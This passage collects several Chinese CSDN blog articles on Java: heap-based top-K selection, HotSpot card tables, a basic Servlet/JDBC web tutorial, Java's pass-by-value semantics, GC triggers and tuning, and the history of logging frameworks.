大的元素,堆排序方法拓展:TOP-K问题:即求数据集合中前K个最⼤的元素或者最⼩的元素,⼀般情况下数据量都⽐较⼤。⽐如:专业前10名、世界500强、富豪榜、游戏中前100的活跃玩家等。对于Top-K问题,能想到的最简单直接的⽅式就是排序,但是:如果数据量⾮常⼤,排序就不太可取了(可能数据都不能⼀下⼦全部加载到内存中)。最佳的⽅式就是⽤堆来解决,基本思路如下:1. ⽤数据集合中前K个元素来建堆◦ 前k个最⼤的元素,则建⼩堆◦ 前k个最⼩的元素,则建⼤堆2. ⽤剩余的N-K个元素依次与堆顶元素来⽐较,不满⾜则替换堆顶元素将剩余N-K个元素依次与堆顶元素⽐完之后,堆中剩余的K个元素就是所求的前K个最⼩或者最⼤的元素八、总结通过本文的介绍,我们了解了 Java 中优先级队列(PriorityQueue)的基本概念和实现原理。利用堆结构,优先级队列能够高效地管理数据并根据优先级进行处理。无论是任务调度、数据流合并,还是实时数据处理,堆都能发挥其强大的性能优势。8.1 堆的优点优点 说明高效的优先级管理 通过堆结构,可以快速处理数据的优先级。插入和删除操作的时间复杂度为 O(log n),适合动态数据处理。无序输入,高效排序 堆无需输入数据有序,只需通过堆的结构来维护顺序。适用于合并已排序数据流。内存占用少 堆是完全二叉树结构,相比于其他数据结构(如 AVL 树、红黑树)占用的内存较少。8.2 优先级队列的优势与局限性优势/局限性 说明优势 - 对于频繁插入和删除操作非常高效。- 适合任务调度、流式数据处理、最短路径问题等场景。局限性 - 不支持按优先级范围查询或批量删除。- 不是完全通用的排序工具,通常只适用于频繁访问最大或最小元素的场景。8.3 堆与其他数据结构对比数据结构 操作 时间复杂度 优势 局限性堆 插入、删除、查看顶元素 O(log n) 高效管理优先级,适合动态数据处理。 不支持按特定条件的排序,无法直接获取中间元素。数组 排序、查找 O(n log n) 方便查找和排序,简单易用。 插入、删除操作较慢,尤其是在无序数据中。链表 插入、删除 O(1) 插入和删除效率高,尤其适合频繁变动的场景。 查找元素需要 O(n) 的时间,无法高效管理优先级。红黑树 插入、删除、查找 O(log n) 支持高效的查找、插入和删除操作。 相较于堆,内存占用更大,且需要更多的平衡操作。哈希表 查找、插入、删除 O(1) 查找操作极快,适合无序数据的快速检索。 不支持排序,不适合优先级管理。前景:随着大数据和实时计算的不断发展,堆结构和优先级队列将在更多的算法优化和数据流处理中扮演重要角色,尤其是在机器学习、数据挖掘、搜索引擎优化等领域。———————————————— 原文链接:https://blog.csdn.net/2301_80350265/article/details/145959834
-
文章介绍了记忆集作为解决对象跨代引用问题的数据结构,特别是在新生代和老年代之间的引用。记忆集可以通过不同的精度来记录,如字长、对象或卡精度,而卡精度的实现方式是卡表。卡表是一个字节数组,标记内存区域中可能存在跨代指针的卡页。当卡页有跨代指针时,对应的卡表元素设为脏,垃圾收集时只需扫描这些脏元素对应的内存块。摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >记忆集 : 是一种用于记录 从非收集区域指向收集区域的指针集合的抽象数据结构 。如果我们不考虑效率和成本的话,最简单的实现可以用非收集区域中所有含跨代引用的对象数组来实现这个数据结构 记忆集作用 :解决对象跨代引用所带来的问题,垃圾收集器在新生代中建 立了名为记忆集( Remembered Set )的数据结构,用以避免把整个老年代加进 GC Roots 扫描范围。事实上并不只是新生代、老年代之间才有 跨代引用的问题 。所有涉及部分区域收集(Partial GC )行为的 垃圾收集器,典型的如 G1 、 ZGC 和 Shenandoah 收集器,都会面临相同的问题,因此我们有必要进一步 理清记忆集的原理和实现方式 这种记录全部含跨代引用对象的实现方案,无论是空间占用还是维护成本都相当高昂。而在垃圾 收集的场景中,收集器只需要通过记忆集判断出某一块非收集区域是否存在有指向了收集区域的指针 就可以了,并不需要了解这些跨代指针的全部细节。那设计者在实现记忆集的时候,便可以选择更为 粗犷的记录粒度来节省记忆集的存储和维护成本,下面列举了一些可供选择(当然也可以选择这个范 围以外的)的记录精度: · 字长精度: 每个记录精确到一个机器字长(就是处理器的寻址位数,如常见的 32 位或 64 位,这个 精度决定了机器访问物理内存地址的指针长度),该字包含跨代指针。 · 对象精度: 每个记录精确到一个对象,该对象里有字段含有跨代指针。 · 卡精度: 每个记录精确到一块内存区域,该区域内有对象含有跨代指针。 “ 卡精度 ” 所指的是用一种称为 “ 卡表 ” ( Card Table)的方式去实现记忆集, 就是 记忆集的一种具体实现 ,它定义了记忆集的记录精度、与堆内存的映射关系等。 关于卡表与记忆集的关系,读者不妨按照 Java 语言中 HashMap 与 Map 的关系来类比理解 卡表最简单的形式可以只是一个字节数组 ,而 HotSpot 虚拟机确实也是这样做的。以下这行代 码是 HotSpot 默认的卡表标记逻辑 : CARD_TABLE [this address >> 9] = 0; 字节数组 CARD_TABLE 的每一个元素都对应着其标识的内存区域中一块特定大小的内存块,这个 内存块被称作 “ 卡页 ” ( Card Page )。一般来说,卡页大小都是以 2的N次幂 的字节数,通过上面代码可 以看出 HotSpot 中使用的卡页是 2 的 9 次幂,即 512 字节(地址右移 9 位,相当于用地址除以 512 )。那如 果卡表标识内存区域的起始地址是 0x0000 的话,数组 CARD_TABLE 的第 0 、 1 、 2 号元素,分别对应了 地址范围为 0x0000 ~ 0x01FF 、 0x0200 ~ 0x03FF 、 0x0400 ~ 0x05FF 的卡页内存块 ,如图 所示。 一个卡页的内存中通常包含不止一个对象,只要卡页内有一个(或更多)对象的字段存在着跨代 指针,那就将对应卡表的数组元素的值标识为 1 ,称为这个 元素变脏 ( Dirty ),没有则标识为 0 。在垃圾收集发生时,只要 筛选出卡表中变脏的元素 ,就能轻易得出哪些卡页内存块中包含跨代指针,把它 们加入 GC Roots 中一并扫描———————————————— 原文链接:https://blog.csdn.net/qq_33919114/article/details/131554268
-
前言在当今互联网时代,Web开发已成为一个炙手可热的领域。Java作为一种成熟的编程语言,以其稳定性和跨平台性,成为了Web开发的热门选择。本文将带您从基础知识入手,逐步深入Java Web开发的各个方面,帮助您构建自己的Web应用。项目实战:构建一个简单的Web应用结语一、Java Web开发基础1. Java Servlet与JSPJava Servlet是Java Web开发的核心组件之一,它允许开发者在服务器端处理请求并生成动态内容。Servlet可以接收HTTP请求,处理请求逻辑,并返回HTTP响应。JSP(JavaServer Pages)则是一种简化的Servlet,适合于创建动态网页。JSP允许嵌入Java代码到HTML中,便于快速开发。示例:简单的Servlet@WebServlet("/hello")public class HelloServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html"); PrintWriter out = response.getWriter(); out.println("<h1>Hello, World!</h1>"); }}示例:简单的JSP<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><!DOCTYPE html><html><head> <title>Hello JSP</title></head><body> <h1>Hello, World!</h1></body></html>2. MVC架构MVC(Model-View-Controller)是一种设计模式,用于分离应用的业务逻辑、用户界面和输入控制。通过MVC架构,您可以更清晰地组织代码,提高可维护性。模型(Model)用于处理数据和业务逻辑,视图(View)用于展示数据,控制器(Controller)用于接收用户输入并更新模型和视图。二、开发环境的搭建1. 安装JDK与IDE首先,您需要安装Java Development Kit(JDK),确保您使用的是最新版本。接下来,选择一个集成开发环境(IDE),如IntelliJ IDEA或Eclipse。这些工具将大大简化您的开发过程,提供代码补全、调试和项目管理等功能。JDK安装步骤:前往Oracle官网或OpenJDK下载页面。下载适合您操作系统的JDK安装包。按照安装向导进行安装,并配置环境变量。IDE安装步骤:访问IntelliJ IDEA或Eclipse的官方网站。下载相应的安装文件。按照安装向导完成安装。2. 配置Web服务器常用的Web服务器包括Apache Tomcat和Jetty。您可以下载并安装Tomcat,然后将您的Web应用部署到Tomcat中进行测试。Tomcat安装步骤:下载Tomcat的最新版本。解压缩下载的文件到指定目录。配置环境变量,设置CATALINA_HOME为Tomcat的安装目录。启动Tomcat:在命令行中进入Tomcat的bin目录,执行startup.bat(Windows)或startup.sh(Linux/Mac)。三、数据库连接与操作1. JDBC基础Java数据库连接(JDBC)是Java与数据库交互的标准API。通过JDBC,您可以执行SQL语句,处理结果集。JDBC支持多种数据库,如MySQL、Oracle和PostgreSQL等。JDBC连接示例:try { Class.forName("com.mysql.cj.jdbc.Driver"); Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/mydb", "user", "password"); Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("SELECT * FROM users"); while (rs.next()) { System.out.println("User: " + rs.getString("username")); } rs.close(); stmt.close(); conn.close();} catch (SQLException | ClassNotFoundException e) { e.printStackTrace();}2. 使用ORM框架为了提高开发效率,您可以使用ORM(对象关系映射)框架,如Hibernate或JPA。这些框架可以简化数据库操作,使您专注于业务逻辑。Hibernate示例:@Entitypublic class User { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private Long id; private String username; private String password; // Getters and Setters}使用Hibernate时,您只需编写简单的HQL(Hibernate Query Language)查询,而不需要编写复杂的SQL。四、前端与后端的交互1. AJAX与JSONAJAX(Asynchronous JavaScript and XML)允许您在不重新加载页面的情况下与服务器进行交互。结合JSON格式,您可以实现高效的数据传输。AJAX可以显著提高用户体验,使应用更加流畅。AJAX示例:$.ajax({ url: "/api/users", method: "GET", dataType: "json", success: function(data) { console.log(data); // 处理返回的数据 }, error: function(xhr, status, error) { console.error("AJAX Error: " + status + error); }});2. RESTful API设计RESTful API是一种设计风格,用于创建可扩展的Web服务。通过使用HTTP动词(GET、POST、PUT、DELETE),您可以实现资源的增删改查。设计RESTful API时,确保使用清晰的URL和HTTP状态码。RESTful API示例:@Path("/users")public class UserResource { @GET @Produces(MediaType.APPLICATION_JSON) public List<User> getUsers() { return userService.findAll(); } @POST @Consumes(MediaType.APPLICATION_JSON) public Response createUser(User user) { userService.save(user); return Response.status(Response.Status.CREATED).build(); }}五、安全与性能优化1. 常见安全问题在Web开发中,安全问题不容忽视。常见的安全漏洞包括SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)。确保使用PreparedStatement来防止SQL注入,并对用户输入进行严格验证。防止SQL注入示例:PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");pstmt.setString(1, username);ResultSet rs = pstmt.executeQuery();2. 性能优化技巧缓存:使用缓存机制(如Redis)来减少数据库访问次数,提高响应速度。异步处理:通过异步任务处理提高响应速度,避免阻塞用户请求。负载均衡:在多台服务器之间分配请求以提高可用性,确保系统的高可用性和可扩展性。六、项目实战:构建一个简单的Web应用为了巩固所学知识,您可以尝试构建一个简单的用户管理系统。该系统应具备用户注册、登录、信息查看等基本功能。通过实践,您将更深入地理解Java Web开发的各个环节。项目步骤:设计数据库:创建用户表,包含用户名、密码、邮箱等字段。实现后端逻辑:使用Servlet处理用户请求,连接数据库进行操作。前端页面:使用HTML/CSS/JavaScript构建用户界面,支持AJAX请求。数据库设计示例:CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50) NOT NULL UNIQUE, password VARCHAR(255) NOT NULL, email VARCHAR(100) NOT NULL);后端逻辑示例:@WebServlet("/register")public class RegisterServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String username = request.getParameter("username"); String password = request.getParameter("password"); String email = request.getParameter("email"); // 进行用户注册逻辑 userService.register(new User(username, password, email)); response.sendRedirect("success.jsp"); }}前端页面示例:<form id="registerForm"> <input type="text" name="username" placeholder="Username" required> <input type="password" name="password" placeholder="Password" required> <input type="email" name="email" placeholder="Email" required> <button type="submit">Register</button></form><script> document.getElementById("registerForm").onsubmit = function(event) { event.preventDefault(); var formData = new FormData(this); fetch('/register', { method: 'POST', body: formData }).then(response => { if (response.ok) { window.location.href = 'success.jsp'; } }); };</script>七、结语Java Web开发是一个充满挑战和机遇的领域。通过本文的学习,您应已掌握Java Web开发的基础知识和实践技巧。不断实践、深入学习,将使您在这个领域越走越远。希望您能在未来的开发旅程中创造出更多精彩的Web应用!如有任何问题或想法,欢迎在评论区留言讨论!期待您的参与与分享!———————————————— 原文链接:https://blog.csdn.net/m0_70474954/article/details/143245316
-
在 Java 中,方法参数的传递方式通常被讨论为 值传递(Pass by Value) 和 引用传递(Pass by Reference)。但需要明确的是,Java 只有值传递,并不存在真正的引用传递。1. 什么是值传递(Pass by Value)? 值传递是指方法调用时,实际参数的值会被复制一份传递给方法的形参,方法内部对形参的修改不会影响原来的变量。示例:值传递(基本数据类型)public class Test { public static void main(String[] args) { int num = 10; modify(num); System.out.println("方法调用后 num = " + num); // 10 } public static void modify(int x) { x = 20; // 修改的是 x,而不是 num }}输出:方法调用后 num = 10解释: num 的值被复制到 x,方法内部修改 x 不会影响外部变量 num。2. 什么是引用传递(Pass by Reference)?引用传递是指方法调用时,传递的是变量的引用(即地址),方法内部修改该对象的内容会影响原始对象。Java 中的对象变量并不存储对象本身,而是存储对象的引用(内存地址)。因此,当我们将对象作为参数传递给方法时,传递的是对象的引用的拷贝(仍然是值传递),但可以通过这个引用来修改对象的内容。示例:引用传递?(对象)class Person { String name;} public class Test { public static void main(String[] args) { Person person = new Person(); person.name = "Alice"; modify(person); System.out.println("方法调用后 name = " + person.name); // Bob } public static void modify(Person p) { p.name = "Bob"; // 修改的是 p 指向的对象,而不是 p 本身 }}输出:方法调用后 name = Bob 解释: p 是 person 的引用拷贝,它们指向同一个对象,因此 modify() 方法内修改 p.name,也影响了原来的 person.name。3. 为什么说 Java 只有值传递?尽管 Java 方法参数在传递对象时能够修改对象的内容,但它仍然是值传递,因为:对于基本数据类型,传递的是值的副本,方法内部修改不会影响原变量。对于对象,传递的是引用的副本(内存地址的值),方法内部修改对象的内容可以影响原对象,但如果修改引用本身,不会影响外部变量。示例:尝试修改对象的引用class Person { String name;} public class Test { public static void main(String[] args) { Person person = new Person(); person.name = "Alice"; modifyReference(person); System.out.println("方法调用后 name = " + person.name); // Alice } public static void modifyReference(Person p) { p = new Person(); // 这里 p 重新指向一个新对象 p.name = "Bob"; }}输出:方法调用后 name = Alice 解释: p 重新指向了一个新对象 new Person(),但这个新对象只在 modifyReference() 方法内生效,原来的 person 并未受到影响。4. 结论Java 只有值传递,没有引用传递。基本数据类型的参数传递是值的复制,方法内部修改不会影响原变量。对象类型的参数传递是对象引用的复制,可以修改对象的内容,但不能改变原引用的指向。如果想要方法修改对象的引用本身(类似引用传递的效果),需要使用返回值进行赋值。示例:让方法真正修改对象引用class Person { String name;} public class Test { public static void main(String[] args) { Person person = new Person(); person.name = "Alice"; person = modifyAndReturnNew(person); System.out.println("方法调用后 name = " + person.name); // Bob } public static Person modifyAndReturnNew(Person p) { p = new Person(); // 创建新对象 p.name = "Bob"; return p; // 返回新对象 }}输出:方法调用后 name = Bob解释: 由于 modifyAndReturnNew() 方法返回了新的 Person 对象,我们用 person 变量接收了这个返回值,从而真正改变了 person 的指向。5. 面试回答建议在面试中,若被问到 Java 是值传递还是引用传递,可以回答:Java 只有值传递。基本数据类型传递的是值的副本,方法内部修改不会影响原值。对象类型传递的是对象引用的副本,可以修改对象内容,但不能修改原引用的指向。如果面试官进一步追问如何在方法内真正修改对象引用,则可以提及:使用返回值赋值(如 person = modifyAndReturnNew(person))。使用数组或封装对象存储引用(因为数组和对象的内容可修改)。———————————————— 原文链接:https://blog.csdn.net/weixin_45277068/article/details/146419400
-
一.声明Java中没有引用传递二.值传递和引用传递值传递:就是在方法调用的时候,实参是将自己的一份拷贝赋给形参,在方法内,对该参数值的修改不影响原来的实参。引用传递:是在方法调用的时候,实参将自己的地址传递给形参,此时方法内对该参数值的改变,就是对该实参的实际操作。三.举证3.1 做运算private static int baseValue= 30; public static void updateBaseValue(int value){ value = 2 * value; } public static void main(String[] args) { System.out.println("调用前baseValue的值:"+baseValue); updateBaseValue(baseValue); System.out.println("调用后baseValue的值:"+baseValue); }结果:调用前baseValue的值:30调用后baseValue的值:30可以看到,baseValue的值并没有发生变化。结果分析:1)value被初始化为baseValue值的一个拷贝(30)2)value被乘以2后等于60,但baseValue的值仍为303)这个方法结束后,参数变量value不再使用,被回收。3.2 基本数据类型的交换public static void main(String[] args) { int A = 2; int B = 3; swap(A, B); System.out.println("swap后A的结果为:"+A); System.out.println("swap后B的结果为:"+B); } public static void swap(int a, int b){ int tmp = a; a = b; b = tmp; }结果:swap后A的结果为:2swap后B的结果为:3结果分析:1)ab被初始化为AB值的一个拷贝(a=2;b=3)2)ab的值被交换后,但AB的值没有变化3)这个方法结束后,参数变量ab不再使用,被回收。3.3 引用数据类型的交换public class User { private String name; private int age; public User(String name, int age) { this.name=name; this.age=age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String toString() { return "name:"+name+ " age:"+age; }}public static void main(String[] args) { User user1 = new User("zhangsan",20); User user2 = new User("lisi",22); System.out.println("交换前user1:" + user1 + "-》 user2:" + user2); swap(user1,user2); System.out.println("交换后user1:" + user1 + "-》 user2:" + user2); } private static void swap(User user1, User user2) { User tmp = v; user1 = user2; user2 = tmp; }结果:交换前user1:name:zhangsan age:20-》 user2:name:lisi age:22交换后user1:name:zhangsan age:20-》 user2:name:lisi age:22结果分析:执行swap方法:swap方法结束后,临时副本user1和user2被回收原user1和user2变量仍然指向之前的对象,没有任何改变3.4 你以为是引用传递,实际并不是public static void updateUserInfo(User student){ student.setName("erniu"); student.setAge(20); } public static void main(String[] args) { user = new User("cuihua",22); System.out.println("调用前user的值:"+user.toString()); updateUserInfo(user); System.out.println("调用后user的值:"+user.toString()); }结果:调用前user的值:name:cuihua age:22调用后user的值:name:erniu age:20结果分析:当updateUserInfo方法执行完后,参数变量student不再使用,被回收。———————————————— 原文链接:https://blog.csdn.net/JavaMonsterr/article/details/125595838
-
在 Java 中,垃圾回收(GC)的频率和触发条件取决于 GC算法、堆内存分配、对象生命周期 以及 JVM参数 的配置。GC 触发条件年轻代 GC(Minor GC / Young GC)Eden 区满了:当新对象分配到 Eden 区,如果 Eden 区没有足够的空间分配新对象,就会触发 Minor GC。Survivor 空间不足:当存活对象从 Eden 复制到 Survivor,但 Survivor 空间不够时,也可能导致 Minor GC。仅回收 年轻代(Young Generation),不会影响老年代(Old Generation)。采用复制算法(如 Serial、Parallel、G1 的 YGC)。停顿时间短,但回收频率较高。Minor GC 之后,存活对象可能晋升到老年代。老年代 GC(Major GC / Old GC)老年代空间不足:当对象从 Survivor 晋升到老年代,或者大对象直接进入老年代,导致老年代空间不够时,会触发 Major GC。CMS GC 的 concurrent mode failure:CMS GC 在并发回收过程中如果老年代空间不足,会触发 STW 的 Full GC。G1 GC 触发 Mixed GC:G1 在一定条件下会触发回收老年代的 Mixed GC。主要清理 老年代(Old Generation),回收存活时间较长的对象。相比 Minor GC,Major GC 的停顿时间更长,但一般回收频率较低。某些 GC(如 CMS)不会 STW,而是并发执行(Concurrent Mark-Sweep)。Full GC显式调用 System.gc()(不推荐,因为 JVM 可能会忽略)。老年代空间不足:当老年代没有足够空间存放新对象时,Major GC 可能变成 Full GC。Metaspace/元空间溢出(如类加载过多,导致 java.lang.OutOfMemoryError: Metaspace)。CMS GC 失败:如果 CMS GC 过程中发生 concurrent mode failure,会触发 Full GC。G1 GC 触发 Full GC:当 G1 发现回收无法跟上对象分配速度时,会进行 STW 的 Full GC。回收整个堆(包括年轻代 + 老年代 + 元空间)。停顿时间长,影响系统吞吐量和响应时间。一般不希望频繁发生 Full GC,需要调优。GC 频率的影响因素对象分配速率短生命周期对象多(临时变量、业务请求数据) → Minor GC 频繁。大量大对象(如 byte[]) → 可能直接进入老年代,加速 Major/Full GC。GC 算法不同 GC 算法对 GC 频率的影响不同:Serial GC(单线程、适用于小内存) → GC 频率高,暂停时间长。Parallel GC(多线程 GC,吞吐量优先) → GC 频率较低,适用于高吞吐场景。G1 GC(区域化分代、回收预测) → 控制 GC 停顿时间,适用于大内存。ZGC、Shenandoah GC(低延迟 GC) → 减少 GC 影响,适用于大内存应用。JVM 参数JVM 相关参数直接影响 GC 频率:-Xms / -Xmx(堆内存大小):较小的堆内存 → GC 触发更频繁。较大的堆内存 → GC 触发较少,但可能增加 Full GC 停顿时间。-XX:NewRatio(年轻代与老年代的比例):较大年轻代 → Minor GC 频率降低,但可能加速老年代填满导致 Major GC 。较小年轻代 → Minor GC 频率上升,但老年代增长较慢。-XX:SurvivorRatio(Eden 和 Survivor 的比例):Survivor 较小 → 对象更容易晋升老年代,加快 Major GC 触发。Survivor 较大 → Minor GC 次数可能减少,但 Survivor 可能浪费空间。-XX:MaxTenuringThreshold(晋升老年代的阈值):较低阈值 → 对象更快晋升老年代,可能增加 Major GC 频率。较高阈值 → 对象更长时间停留在 Survivor,可能增加 Minor GC 频率。GC 负担对象回收速率低 → GC 触发频率更高。对象生命周期较长(长生命周期的缓存对象等) → 老年代更容易被填满,增加 Major/Full GC 频率。如何优化 GC 频率调整堆内存大小增大 -Xmx(最大堆内存),减少 GC 触发频率。增大 -Xms(初始堆内存),减少动态扩展导致的 Full GC。调整 GC 参数增加年轻代大小(-XX:NewRatio=1):减少 Minor GC 触发频率,但可能影响老年代回收。调整 Survivor 空间(-XX:SurvivorRatio=6):减少对象晋升到老年代,降低 Major GC 频率。调高 -XX:MaxTenuringThreshold(如 10),避免短生命周期对象过早进入老年代。选择合适的 GC 算法吞吐量优先(如并发任务多、批量计算) → Parallel GC(-XX:+UseParallelGC)。低延迟场景(如微服务、高并发请求) → G1 GC(-XX:+UseG1GC)。极低延迟需求(如金融系统) → ZGC/Shenandoah GC(-XX:+UseZGC 或 -XX:+UseShenandoahGC)。监控 GC开启 GC 日志(-Xlog:gc* 或 -XX:+PrintGCDetails)观察 GC 频率。使用 jstat 分析 GC:jstat -gcutil <pid> 10001使用 VisualVM、Arthas 监控 GC 状态。总结GC 类型 触发条件 影响Minor GC (Young GC) Eden 区满,Survivor 区空间不足 频率高,暂停时间短,对业务影响小Major GC (Old GC) 老年代空间不足 频率较低,暂停时间长,对吞吐量影响较大Full GC 老年代不足、Metaspace 溢出、CMS 失败等 影响最大,应尽量避免优化 GC 频率的核心 是合理分配堆内存、调整 GC 策略,并监控 GC 运行情况。———————————————— 原文链接:https://blog.csdn.net/qq_41893505/article/details/146226878
-
在Java编程中,理解“值传递”(Pass by Value)和“引用传递”(Pass by Reference)的概念对于理解方法参数的传递方式至关重要。这两种传递方式直接影响到方法调用时参数的处理方式以及方法对参数的修改是否会影响到调用者。尽管Java中的参数传递方式被称为“值传递”,它在处理对象时表现得类似于“引用传递”。一、值传递(Pass by Value)值传递是指在方法调用时,传递的是实际参数的一个副本。无论在方法内部对这个副本如何修改,都不会影响到方法外部的实际参数。这种方式常用于传递基本数据类型(如int、float、boolean等)。1. 值传递的特点方法接收的是参数的一个副本,而不是参数本身。方法内部对参数的修改不会影响到方法外部的实际参数。2. 值传递的示例public class Test { public static void main(String[] args) { int a = 10; modifyValue(a); System.out.println("Value of a after method call: " + a); // 输出: 10 } static void modifyValue(int x) { x = 20; // 仅仅修改了x的副本,不会影响a }}在这个例子中,a的值被复制到方法参数x中。x在方法内部被修改为20,但这只是对x的副本进行的修改,不会影响到a的值。因此,方法调用结束后,a仍然是10。二、引用传递(Pass by Reference)引用传递是指在方法调用时,传递的是参数的引用(即内存地址),因此方法接收到的是实际参数的引用。任何对引用的修改都会直接影响到实际参数。这种方式常用于传递对象和数组。然而,在Java中,不存在真正的引用传递。Java总是以值传递的方式进行参数传递,但对于对象而言,传递的是对象引用的副本。由于引用的副本指向的是同一个对象,因此方法内部的修改会影响到外部的对象状态。1. 引用传递的特点方法接收的是对象引用的一个副本,这个副本指向同一个对象。方法内部对对象的修改会影响到方法外部的对象。2. 引用传递的误解与实际情况尽管Java使用值传递,但由于传递的是对象的引用副本,这种行为与引用传递相似。public class Test { public static void main(String[] args) { Person person = new Person("John"); modifyPerson(person); System.out.println("Name after method call: " + person.getName()); // 输出: Doe } static void modifyPerson(Person p) { p.setName("Doe"); // 修改对象内部的状态,影响到外部的对象 }}class Person { private String name; Person(String name) { this.name = name; } public String getName() { return name; } public void setName(String name) { this.name = name; }}在这个例子中,person对象的引用被传递给方法modifyPerson。方法内部通过引用修改了对象的属性,因此方法外部的对象状态也被修改。三、Java中参数传递的实际机制Java中的参数传递机制被称为“值传递”。具体来说:基本数据类型:当传递基本数据类型时,传递的是值的副本。因此,方法内部对参数的修改不会影响外部变量。对象:当传递对象时,传递的是对象引用的副本。由于引用副本指向同一个对象,因此方法内部对对象的修改会影响外部的对象。1. 基本数据类型的值传递public class Test { public static void main(String[] args) { int num = 10; modifyPrimitive(num); System.out.println("Value of num after method call: " + num); // 输出: 10 } static void modifyPrimitive(int x) { x = 20; // 修改副本,不影响原始变量 }}在这个例子中,num的值被复制给方法参数x,x的修改不会影响到num。2. 对象引用的值传递public class Test { public static void main(String[] args) { Person person = new Person("Alice"); modifyObject(person); System.out.println("Name after method call: " + person.getName()); // 输出: Bob } static void modifyObject(Person p) { p.setName("Bob"); // 修改对象属性,影响外部对象 }}在这个例子中,person对象的引用被传递给方法modifyObject,通过引用修改对象的属性,方法外部的对象也受到影响。3. 修改对象引用本身的副本如果在方法内部尝试更改引用本身,而不是引用所指向的对象,那么这种修改不会影响外部对象。public class Test { public static void main(String[] args) { Person person = new Person("Alice"); modifyReference(person); System.out.println("Name after method call: " + person.getName()); // 输出: Alice } static void modifyReference(Person p) { p = new Person("Charlie"); // 修改引用本身,不影响外部的引用 }}在这个例子中,方法modifyReference创建了一个新的Person对象,并将引用指向这个新对象。但这种更改仅限于方法内部,不会影响外部的person引用,因此person仍然指向原始的Person对象。四、总结1. Java中的值传递Java中的所有参数传递都是值传递:对于基本数据类型,传递的是变量的副本。因此,方法内部对参数的修改不会影响外部变量。对于对象,传递的是对象引用的副本。尽管传递的仍然是值,但由于这个值是引用,因此方法内部对对象的修改会影响外部对象。2. 理解引用传递的误解Java中没有真正的引用传递,尽管对对象引用的值传递看起来像是引用传递。因为传递的是对象引用的副本,而不是对象本身,所以方法内对引用的修改不会影响外部的引用。3. 应用场景和注意事项在实际编程中,理解Java的参数传递机制对于避免潜在的bug至关重要。例如:当你不希望方法修改外部对象时,应该避免直接传递可变对象,或者在方法内部不要修改对象的状态。如果需要在方法中修改对象,可以放心地传递对象引用,因为方法内部对对象状态的修改会影响外部。通过理解Java中的值传递和引用传递的区别,以及它们的实际表现形式,你可以编写出更为健壮和正确的Java程序,避免一些常见的编程陷阱。———————————————— 原文链接:https://blog.csdn.net/Flying_Fish_roe/article/details/143103367
-
java日志在程序开发中,日志是一个很重要的角色,其主要用于记录程序运行的情况,以便于程序在部署之后的排错调试等。日志的概念(1)日志的作用及好处查看程序的运行状态以及程序的运行轨迹,方便对程序进行分析。系统问题排查,日志结合异常处理,可快速发现程序发生异常的地点。查看系统运行时间,为系统性能优化提供相关的依据。安全审计,通过系统日志分析,可以判断一些非法攻击,非法调用,以及系统处理过程中的安全隐患。(2)最简单的日志最简单的日志使用便是System.out.print() public class Application(){ public static void main(String[] args){ // 设置日期格式 SimpleDateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); // new Date()为获取当前系统时间 String beginTime = df.format(new Date()); System.out.print(beginTime + "程序开始了......"); ... ... ... String endTime = df.format(new Date()); System.out.print(endTime + "程序结束了......"); } }优点:直观、方便缺点:System.out.print和java运行程序运行在同一线程,业务程序会等待System.out.print的动作,导致资源被占用。System.out.print是在控制台输出,只能输出到控制台,没有存储到日志文件当中。不规范。(3)日志框架Java 拥有功能和性能都非常强大的日志库,但不幸的是,日志库并不止一个,如JUL(Java Util Log)、JCL(Commons Logging)、Log4j、SLF4J、Logback、Log4j2 等等的日志工具,那么到底使用那一个呢?Java日志的发展史日志最早出现的是Apache开源社区的Log4j,此日志确实是应用最广泛的日志工具,成为了 Java 日志事实上的标准。之后, Java 的开发主体 Sun 公司为了抢回市场,在Jdk1.4中增加了与Log4j没有关联的 JUL(java.util.logging)日志实现,用于对抗 Log4j,但是却成为了 Java 目前记录日志局面混乱的开端。当项目使用的第三方库使用了不同的日志工具时,就会造成一个应用中存在着多种日志的情况,由于各种日志之间互相没有关联,替换和统一日志工具也就变成了一件比较棘手的事情。为解决多种log工具存在的问题,Apache 开源社区提供了一个日志框架作为日志的抽象,叫 commons-logging,也被称为 JCL。JCL 会对各种日志接口进行抽象,抽象出一个接口层,实现对每个日志框架都进行适配,在使用日志工具时直接使用抽象接口即可,完成了各种主流日志框架的兼容实现(Log4j、JUL、simplelog等),较好的解决了上述问题。JCL出现之后,元老级日志Log4j 的作者 觉得 JCL 不够优秀,所以他再度开发了一套更优雅的日志框架 SLF4J(Simple Logging Facade for Java),即简单日志门面,并为 SLF4J实现了一个亲儿子——logback日志框架。在弄完后,觉得还是得照顾一下自己的“大儿子”log4j,于是对log4j进行升级,便出现了Log4j2。java common logging 和 SLF4J 都是日志的接口,供用户使用,而没有提供实现,Log4j、JUL、logback、Log4j2 等等才是日志的真正实现。他们之间的关系可看作电脑与打印机设备之间的关系,电脑连接多台没有关联的打印机,用户只需用电脑选择打印机进行打印。不相同的是,当我们调用日志接口时,接口会自动寻找恰当的实现,返回一个合适的实例给我们服务。这些过程都是透明化的,用户不需要进行任何操作。(如不理解,请继续往后阅读)日志级别日志级别 日志描述OFF 关闭:最高级别,不输出日志FATAL 致命:输出非常严重的可能会导致应用程序终止的错误。ERROR 错误:严重错误,主要是程序出错。WARN 警告:输出可能潜在的危险状况。INFO 信息:输出应用运行过程的详细信息。DEBUG 调试:输出更细致的对调试应用有用的信息。TRACE 跟踪:输出更细致的程序运行轨迹。ALL 所有:输出所有级别信息。最常见的日志级别为Debug、Info、Warn、Error日志优先级别从低到高顺序为:ALL < TRACE < DEBUG < INFO < WARN < ERROR < FATAL < OFFLog4j日志框架最先出现的日志框架,是 Apache 